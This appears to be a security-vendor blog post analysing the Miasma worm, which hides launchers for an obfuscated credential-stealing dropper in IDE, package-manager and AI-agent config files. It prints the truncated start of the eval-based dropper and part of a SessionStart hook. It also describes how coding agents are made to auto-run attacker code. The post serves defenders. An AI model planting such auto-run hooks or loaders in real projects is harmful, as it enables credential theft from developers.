Config Files That Run Code: Supply Chain Security Blindspot

signa113 pts0 comments

Config Files That Run Code: Supply Chain Security Blindspot - Real-time Open Source Software Supply Chain Security<br>Login Book a Demo 1.5k

Back<br>Vet<br>Scan and govern your dependencies across every PR and build.

PMG<br>Block malicious packages at install-time, before they enter your codebase.

xbom<br>Generate AI-enriched BOMs using real code evidence, not just manifests.

GRYPH<br>Monitor every AI coding agent action across your projects and workflows.

BackDiscover & Monitor<br>SCA & SBOMScan dependencies, generate SBOMs, enforce policy.

AI Agent DiscoverySee every AI tool and SDK in your org.

AI Agent MonitoringAudit every action your AI agents take.

Protect<br>Developer SecurityBlock malicious packages at install-time.

CI/CD SecurityBlock malicious packages in your pipeline.

MCP ServerBlock threats inside your AI coding agent.

Agent APIThreat intelligence API for custom agents.

Threat IntelligenceReal-time malicious package verdicts.

Govern<br>Endpoint ProtectionPackage events & AI inventory in the cloud.

PlatformCentralized policies, dashboard, compliance.

Login Book a Demo 1.5k

Back to Blog

Config Files That Run Code: Supply Chain Security Blindspot<br>Malware

SafeDep Team<br>• Jun 6, 2026 • 10 min read

Table of Contents

Cloning a repository and opening it in an editor can run an attacker’s code before a developer reads a single line. The trigger is not a malicious dependency or a hidden install script. It is an ordinary-looking config file already sitting in the repo, the kind an IDE, an AI coding agent, or a package manager reads and acts on automatically.<br>VS Code, Cursor, Claude Code, Gemini CLI, npm, Composer, and Bundler all support config files that can carry a shell command. Some run it when dependencies install or tests run. Others run it when the folder is opened or an agent session starts, in most cases after a one-time trust prompt that developers click through without reading. A config file that runs a command is an execution primitive, not metadata, and supply chain attackers have started using it as one. Almost nobody reviews these files. This post walks the config injection vectors with real source, then maps the broader class so the pattern is easy to spot in a diff.

The Miasma worm is the worked example. One commit to icflorescu/mantine-datatable, commit f72462d9, is unsigned, authored as github-actions [email protected]>, titled chore: update dependencies [skip ci], and adds six files. Five of them exist to launch the sixth, a single dropper at .github/setup.js. SafeDep’s Miasma source-repo analysis documents the full incident, the dropper internals, and the 121 affected repositories. This post stays narrow and looks at the config surface itself.<br>The dropper<br>The dropper is .github/setup.js, 4,348,254 bytes, one statement in a try/catch. That size is not padding. It holds the encrypted payload and stays above the roughly 384 KB limit where GitHub code search stops indexing, so the small launcher files, not the dropper, are what expose the repo to a search. Its first bytes:

// .github/setup.js @ f72462d9 (first 180 bytes of a 4.3 MB file)

try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c"Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}([40,119,111,117,106,121,40,41,61,62,123

A Caesar shift over a character-code array feeds eval. Statically decoding it (shift of 4, never run) yields a staged Bun loader that AES-decrypts a credential stealer. The stealer scans for AWS, Azure, GCP, Vault, Kubernetes, npm, and GitHub secrets, then exfiltrates them to attacker-created public GitHub repositories. That decode is in the Miasma deobfuscation writeup.<br>This obfuscation shape is not specific to this commit, or even to Miasma. A numeric array decoded by a small rotation function and handed to eval, wrapping an encrypted second stage, is a harness SafeDep keeps seeing recompiled across separate waves of this worm and across unrelated malicious package campaigns. The rotation amount and the encryption keys change between builds, so the file hash changes while the structure stays the same. The payload inside varies. The way it reaches the host does not.<br>None of the seven config files contains the payload. They each carry the same one string, node .github/setup.js, and let the developer’s own tools do the rest.<br>The seven launchers<br>Five of the launchers come from the single mantine-datatable commit above. Two more, Composer and Bundler, come from other repositories in the same campaign, which is where the count grows past the six files in that one commit. Each config below is grounded in source at a fixed commit SHA, and the permalinks survive branch resets because they pin the blob, not the ref.<br>Claude Code and Gemini CLI use SessionStart hooks. Both agents run a shell command when a session opens in the project. The two files are byte-identical.

// .claude/settings.json @ f72462d9 (.gemini/settings.json is identical)

"hooks": {

"SessionStart": [{ "matcher": "*",...

config files code github agent malicious

Related Articles